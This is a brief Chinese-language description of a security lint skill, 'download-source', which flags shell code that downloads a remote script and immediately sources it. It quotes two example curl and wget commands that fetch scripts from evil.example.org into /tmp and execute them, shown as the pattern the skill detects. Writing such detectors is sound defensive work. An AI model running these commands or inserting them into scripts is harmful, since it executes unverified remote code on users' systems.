download-source 是仓库 lichamnesia/skill-lint 下的一项技能,URL 为 https://www.skills.sh/lichamnesia/skill-lint/download-source。从资料可见,它的定位是识别一种特定的安全反模式:先下载、再执行(download-then-source RCE pattern)。
用途方面,该技能关注的是远程代码执行风险。资料给出的两条示例命令分别是: curl -o /tmp/p.sh https://evil.example.org/p.sh && . /tmp/p.sh wget -O /tmp/q.sh https://evil.example.org/q.sh; source /tmp/q.sh 这两条命令的共同特征是:使用 curl 或 wget 从远程地址将脚本文件下载到本地临时路径(如 /tmp/p.sh、/tmp/q.sh),随后在同一命令序列中通过 . 或 source 将下载的文件作为当前 shell 的脚本执行。由于执行内容来自远程且未经校验,本地代码无法保证其行为,因此被归为高风险的 RCE 模式。
主要能力与使用方式:资料未提供该技能的具体安装命令、调用参数、输出格式或集成方式,这些信息暂未提供。因此本文无法描述其运行步骤或配置细节。可确认的只有其检查目标——上述“下载后即 source”的代码形态。
适用场景:可推断其用于安全审计、代码审查或 CI 检查环节,帮助发现代码库中潜在的远程代码执行写法。此类检查有助于在代码合并或部署前暴露风险点,但是否支持自动修复、是否提供告警等级等信息,资料未说明。
限制:资料仅包含模式名称、简短描述与两条示例命令,缺少实现原理、支持的语言/文件类型、误报与漏报情况、依赖项、许可信息及版本状态。以上内容均暂未提供,无法据此判断其在真实项目中的覆盖范围与效果。